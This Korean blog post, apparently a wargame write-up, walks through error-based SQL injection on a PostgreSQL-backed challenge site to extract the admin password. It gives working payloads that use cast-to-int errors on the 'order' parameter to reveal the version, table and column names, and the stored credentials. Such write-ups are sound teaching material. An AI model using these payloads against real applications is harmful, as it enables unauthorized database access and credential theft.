반응형

Error based SQL Injection 문제입니다. 관리자의 패스워드를 획득하는 것이 목표입니다.

 

문제에 들어가 보면 [Authentication] 메뉴와 [Contents] 메뉴 두 개가 있습니다.

우선, [Authentication] 메뉴에 있는 로그인 폼에다가 임의로 로그인을 해보았습니다. [admin/1234]

 

"login failed" 라는 에러 문구만 출력되고 다른 에러는 보이지 않습니다.

취약한 포인트가 아닌 것 같네요. 

이번에는 [Contents] 메뉴를 클릭해보았습니다.

 

[Contents] 메뉴 클릭 시 action과 order 파라미터가 전송되는데 order 파라미터 값에 싱글 쿼터를 삽입해보았습니다.

 

데이터베이스 오류가 출력됩니다! 이 포인트를 이용해서 에러 기반 SQL Injection을 진행하면 될 것 같습니다.

 

어떤 데이터베이스를 사용하는지 몰라서 우선 모든 구문을 다 삽입해보았습니다.

https://sqlwiki.netspi.com/injectionTypes/errorBased/#postgresql

 

NetSPI SQL Injection Wiki

Error based SQL Injections are exploited through triggering errors in the database when invalid inputs are passed to it.

sqlwiki.netspi.com

위 링크에 나와있는 Mysql, Oracle 등의 구문을 삽입하다가 Postgresql 구문이 정상 실행되어 데이터베이스 종류를 파악할 수 있었습니다.

 

1. VERSION 정보

,cast(,cast(chr(126)||version()||chr(126)+as+int)-- 구문으로 PostgreSQL 버전 정보를 획득할 수 있습니다.

 

2. 테이블 정보

,cast(,cast(chr(126)||(select+table_name+from+information_schema.tables+limit+1)||chr(126)+as+int)-- 구문으로 테이블 정보를 획득합니다. 테이블 명이 m3mbr35t4bl3 임을 확인할 수 있습니다.

 

3. 컬럼 정보

,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1)||chr(126)+as+int)-- 구문으로 첫 번째 컬럼 정보를 획득합니다. 첫번째 컬럼 명은 id입니다.

 

두 번째 컬럼 정보를 얻기 위해 구문에 offset을 추가하였습니다.

,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1+offset+1)||chr(126)+as+int)-- 구문으로 두 번째 컬럼 정보를 획득합니다. 두번째 컬럼 명은 us3rn4m3_c0l입니다. 

 

패스워드 컬럼을 찾기 위해 세번째 컬럼 명까지 확인해보았습니다.

,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1+offset+2)||chr(126)+as+int)-- 구문으로 세 번째 컬럼 정보를 획득합니다. 세번째 컬럼 명은 p455w0rd_c0l입니다. 해당 컬럼에 패스워드 정보가 들어있을 것 같다는 예상이 됩니다.

 

4. 데이터 정보

패스워드 컬럼 명까지 확인했으니 데이터를 뽑아보겠습니다.

우선은 ,cast(,cast(chr(126)||(select+us3rn4m3_c0l+from+m3mbr35t4bl3+limit+1+offset+0)||chr(126)+as+int)-- 구문으로 유저 컬럼의 첫 번째 데이터부터 확인합니다. 첫번째 데이터 값이 admin 이므로 admin에 해당하는 패스워드만 확인하면 될 것 같습니다.

 

,cast(,cast(chr(126)||(select+p455w0rd_c0l+from+m3mbr35t4bl3+limit+1+offset+0)||chr(126)+as+int)-- 구문으로 admin의 패스워드 값을 확인합니다. 해당 값이 Flag이기 때문에 바로 인증하시면 됩니다!

반응형

+ Recent posts